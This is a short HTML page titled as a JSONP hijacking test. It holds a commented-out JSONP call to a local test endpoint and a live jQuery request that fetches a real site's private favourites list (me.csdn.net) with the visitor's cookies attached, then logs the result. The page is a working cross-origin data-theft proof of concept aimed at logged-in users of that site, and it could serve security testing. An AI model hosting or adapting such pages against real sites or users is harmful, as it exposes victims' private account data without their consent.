<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>JSONP劫持测试</title>
    <script src="http://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script> 
</head>
<body>
<div id="divCustomers"></div>

<!-- <script type="text/javascript">    
    $.getJSON("http://127.0.0.1/jsonp_env/getUser.php?jsoncallback=?", function(getUsers){
          alert(getUsers.name);
    });
</script> -->

<script>
	try{
		$.ajax({
			url:'https://me.csdn.net/api/favorite/folderList',
			async: false,
			xhrFields: {
	                withCredentials: true
	            },
			success: function(data){
				console.log(data);
			}
		})
	}catch{

	}

</script>

</body>
</html>